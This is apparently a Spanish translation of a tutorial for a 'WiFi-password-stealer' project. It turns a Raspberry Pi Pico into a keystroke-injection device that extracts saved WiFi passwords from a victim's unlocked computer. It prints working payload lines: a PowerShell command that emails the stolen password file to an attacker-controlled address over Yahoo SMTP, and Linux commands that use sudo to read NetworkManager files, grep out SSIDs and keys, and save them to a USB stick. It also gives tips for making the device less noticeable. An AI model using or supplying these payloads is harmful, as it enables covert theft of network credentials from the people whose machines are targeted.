¿Alguna vez has visto una película en la que un hacker conecta lo que parece ser una unidad USB común en la computadora de una víctima y roba datos de ella? – Un verdadero sueño húmedo para algunos.
Si bien este proyecto/tutorial se centra en las contraseñas de WiFi, el código de la carga útil podría modificarse fácilmente para hacer algo más malicioso. Solo estás limitado por tu imaginación (y tus habilidades técnicas).
Configuración
Después de crear pico-ducky, solo necesitas copiar la carga útil modificada (ajustada para tus detalles de SMTP para la explotación en Windows y/o ajustada para la contraseña de Linux y un nombre de unidad USB) en el RPi Pico.
Requisitos previos
- Acceso físico a la computadora de la víctima.
- Computadora de la víctima desbloqueada.
- La computadora de la víctima debe tener acceso a Internet para enviar los datos robados mediante SMTP para la exfiltración a través de un medio de red.
- Conocimiento de la contraseña de la computadora de la víctima para la explotación en Linux.
Requisitos: lo que necesitarás
- Raspberry Pi Pico (RPi Pico)
- Cable Micro USB a USB
- Cable de puente (opcional)
- pico-ducky – RPi Pico transformado en un Rubber Ducky USB
- Unidad flash USB (solo para la explotación a través de un medio físico)
Nota:
Es posible construir esta herramienta utilizando Rubber Ducky, pero ten en cuenta que el RPi Pico cuesta alrededor de $4.00 y el Rubber Ducky cuesta $80.00.
Sin embargo, mientras que pico-ducky es una solución buena y económica, Rubber Ducky ofrece cosas como sigilo y el uso de la última versión de DuckyScript.
Para usar Ducky Script y escribir la carga útil en tu RPi Pico, primero debes convertirla en pico-ducky. Sigue estos sencillos pasos para crear pico-ducky.
https://github.com/dbisu/pico-ducky
Herramienta de Inyección de Pulsaciones de Teclas
Una herramienta de inyección de pulsaciones de teclas, una vez conectada a una máquina huésped, ejecuta comandos maliciosos mediante la ejecución de código que simula las pulsaciones de teclas ingresadas por un usuario. Aunque parece una unidad USB, actúa como un teclado que escribe una carga útil preprogramada. Herramientas como Rubber Ducky pueden escribir más de 1,000 palabras por minuto. Una vez creada, cualquier persona con acceso físico puede implementar esta carga útil con facilidad.
Inyección de Pulsaciones de Teclas
La carga útil utiliza el comando STRING
para procesar las pulsaciones de teclas para la inyección. Acepta uno o más caracteres alfanuméricos/puntuación y escribirá el resto de la línea tal como está en la máquina de destino. La tecla ENTER/ESPACIO
simulará la pulsación de las teclas del teclado.
Retrasos
Utilizamos el comando DELAY
para pausar temporalmente la ejecución de la carga útil. Esto es útil cuando una carga útil necesita esperar a que se cargue un elemento, como una Línea de Comando. El retraso es útil cuando se utiliza al principio, cuando se conecta un nuevo dispositivo USB a una computadora objetivo. Inicialmente, la computadora debe completar una serie de acciones antes de poder comenzar a aceptar comandos de entrada. En el caso de los dispositivos de interfaz humana (HIDs), el tiempo de configuración es muy corto. En la mayoría de los casos, toma una fracción de segundo, porque los controladores están integrados. Sin embargo, en algunos casos, una PC más lenta puede tardar más tiempo en reconocer el pico-ducky. El consejo general es ajustar el tiempo de retraso de acuerdo a tu objetivo.
Exfiltración
La exfiltración de datos es una transferencia no autorizada de datos desde una computadora/dispositivo. Una vez que se recopilan los datos, el adversario puede empaquetarlos para evitar su detección al enviar datos por la red, utilizando cifrado o compresión. Las dos formas más comunes de exfiltración son:
- Exfiltración a través del medio de red. Este enfoque se utilizó para la explotación en Windows. La carga útil completa se puede ver aquí.
https://github.com/AleksaMCode/WiFi-password-stealer/blob/main/payload/payload_windows.template.dd
- Exfiltración a través de un medio físico. Este enfoque se utilizó para la explotación en Linux. La carga útil completa se puede ver aquí.
https://github.com/AleksaMCode/WiFi-password-stealer/blob/main/payload/payload_linux.template.dd
Explotación en Windows
Para usar la carga útil de Windows (payload1.dd), no necesitas conectar ningún cable puente entre los pines.
Envío de datos robados por correo electrónico
Una vez que las contraseñas se han exportado al archivo .txt, la carga útil enviará los datos al correo electrónico designado utilizando el protocolo SMTP de Yahoo. Para obtener instrucciones más detalladas, visita el siguiente enlace. Además, la plantilla de la carga útil debe actualizarse con tu información SMTP, lo que significa que debes actualizar RECEIVER_EMAIL, SENDER_EMAIL
y la contraseña de tu correo electrónico. Además, también puedes actualizar el cuerpo y el asunto del correo electrónico.
WiFi-password-stealer/payload/payload_windows.template.dd // Línea 31:
STRING Send-MailMessage -To 'RECEIVER_EMAIL' -from 'SENDER_EMAIL' -Subject "Stolen data from PC" -Body "Exploited data is stored in the attachment." -Attachments .\wifi_pass.txt -SmtpServer 'smtp.mail.yahoo.com' -Credential $(New-Object System.Management.Automation.PSCredential -ArgumentList 'SENDER_EMAIL', $('PASSWORD' | ConvertTo-SecureString -AsPlainText -Force)) -UseSsl -Port 587
Nota:
- Después de enviar los datos por correo electrónico, el archivo
.txt
se eliminará. - También puedes usar un servidor SMTP de otro proveedor de correo electrónico, pero debes tener en cuenta el servidor SMTP y el número de puerto que escribirás en la carga útil.
- Ten en cuenta que algunas redes pueden bloquear el uso de un servidor SMTP desconocido en el firewall.
Explotación en Linux
Para usar la carga útil de Linux (payload2.dd
), debes conectar un cable puente entre GND
y GPIO5
para que sea compatible con el código en code.py
de tu RPi Pico. Para obtener más información sobre cómo configurar varias cargas útiles en tu RPi Pico, visita este enlace.
https://github.com/dbisu/pico-ducky#multiple-payloads
Almacenamiento de datos robados en una unidad flash USB
Una vez que las contraseñas se han exportado desde la computadora, los datos se guardarán en la unidad flash USB designada. Para que esta carga útil funcione correctamente, debe actualizarse con el nombre correcto de tu unidad USB, lo que significa que deberás reemplazar USBSTICK
por el nombre de tu unidad USB en dos lugares.
WiFi-password-stealer/payload/payload_linux.template.dd // Línea 3
STRING echo -e "Wireless_Network_Name Password\n--------------------- --------" > /media/$(hostname)/USBSTICK/wifi_pass.txt
WiFi-password-stealer/payload/payload_linux.template.dd // Línea 11
STRING done >> /media/$(hostname)/USBSTICK/wifi_pass.txt
Además, también deberás actualizar la CONTRASEÑA de Linux en la carga útil en tres lugares. Como se mencionó anteriormente, para que esta explotación sea exitosa, deberás conocer la contraseña de la máquina Linux de la víctima, lo que hace que este ataque sea menos plausible.
WiFi-password-stealer/payload/payload_linux.template.dd // Línea 7
STRING echo PASSWORD | sudo -S echo
WiFi-password-stealer/payload/payload_linux.template.dd // Línea 9
STRING do echo -e "$(sudo <<< PASSWORD cat "$FILE" | grep -oP '(?<=ssid=).*') \t\t\t\t $(sudo <<< PASSWORD cat "$FILE" | grep -oP '(?<=psk=).*')"
Script de Bash
Para ejecutar el script wifi_passwords_print.sh
, deberás actualizar el script con el nombre correcto de tu memoria USB, después de lo cual puedes escribir el siguiente comando en tu terminal:
echo PASSWORD | sudo -S sh wifi_passwords_print.sh USBSTICK
donde PASSWORD
es la contraseña de tu cuenta y USBSTICK
es el nombre de tu dispositivo USB.
Descripción rápida de la carga útil
NetworkManager se basa en el concepto de perfiles de conexión y utiliza complementos para leer/escribir datos. Utiliza un formato de archivo clave .ini-style
y almacena perfiles de configuración de red. El archivo clave es un complemento que admite todos los tipos de conexión y capacidades que tiene NetworkManager.
Los archivos se encuentran en /etc/NetworkManager/system-connections/
. Basándose en el formato de archivo clave, la carga útil utiliza el comando grep
con expresiones regulares para extraer los datos de interés. Para la filtración de archivos, se utilizó una afirmación de búsqueda detrás positiva modificada ((?<=keyword)
). Mientras que la afirmación de búsqueda detrás positiva coincidirá en una posición determinada en la cadena, por ejemplo, justo después de la palabra clave sin incluir ese texto en la coincidencia en sí, la expresión regular (?<=keyword).*
coincidirá con cualquier texto después de la palabra clave. Esto permite que la carga útil coincida con los valores después de las palabras clave SSID y psk (clave precompartida).
Formato de datos exfiltrados
A continuación se muestra un ejemplo de los datos exfiltrados y formateados de la máquina de una víctima en un archivo .txt.
WiFi-password-stealer/resources/wifi_pass.txt // Línea 1
Wireless_Network_Name Password
--------------------- --------
WLAN1 pass1
WLAN2 pass2
WLAN3 pass3
Problema del Dispositivo de Almacenamiento masivo USB
Una de las ventajas de Rubber Ducky sobre RPi Pico es que no se muestra como un dispositivo de almacenamiento masivo USB una vez conectado. Una vez conectado a la computadora, la máquina lo ve como un teclado USB. Este no es un comportamiento predeterminado para el RPi Pico. Si deseas evitar que tu RPi Pico se muestre como un dispositivo de almacenamiento masivo USB cuando lo conectas, debes conectar un cable puente entre el pin 18 (GND) y el pin 20 (GPIO15). Para obtener más detalles, visita este enlace (https://github.com/dbisu/pico-ducky#usb-enabledisable-mode).
Consejo:
Carga tu carga útil en el RPi Pico antes de conectar los pines. No sueldes los pines porque es probable que desees cambiar o actualizar la carga útil en algún momento.
Escritor de Carga Útil (Payload)
Al crear un archivo de carga útil funcional, puedes utilizar el script writer.py o cambiar manualmente el archivo de plantilla. Para ejecutar el script con éxito, además del nombre del archivo de script, deberás proporcionar el nombre del sistema operativo (windows o linux) y el nombre del archivo de carga útil (por ejemplo, payload1.dd). A continuación, puedes encontrar un ejemplo de cómo ejecutar el script writer al crear una carga útil de Windows.
python3 writer.py windows payload1.dd
Limitaciones/Desventajas
- Este ataque requiere acceso físico a un dispositivo desbloqueado para desplegarse con éxito.
- Es poco probable que la explotación en Linux tenga éxito, porque para tener éxito, no solo necesitas acceso físico a un dispositivo desbloqueado, sino que también necesitas conocer la contraseña del administrador de la máquina Linux.
- El firewall de la máquina o el firewall de la red pueden evitar que los datos robados se envíen a través del medio de red.
- Es posible que los retrasos de la carga útil sean inadecuados debido a las velocidades variables de las diferentes computadoras utilizadas para realizar un ataque.
- El dispositivo pico-ducky no es realmente sigiloso, de hecho, es todo lo contrario, es bastante voluminoso, especialmente si sueldas los pines.
- Además, el dispositivo pico-ducky es notablemente más lento en comparación con el Rubber Ducky que ejecuta el mismo script.
- Si la computadora tiene configurado un entorno no inglés, este exploit no tendrá éxito.
- Actualmente, el pico-ducky no admite DuckyScript 3.0, solo se puede usar DuckyScript 1.0. Si necesitas la versión 3.0, tendrás que usar el Rubber Ducky.
https://github.com/AleksaMCode/WiFi-password-stealer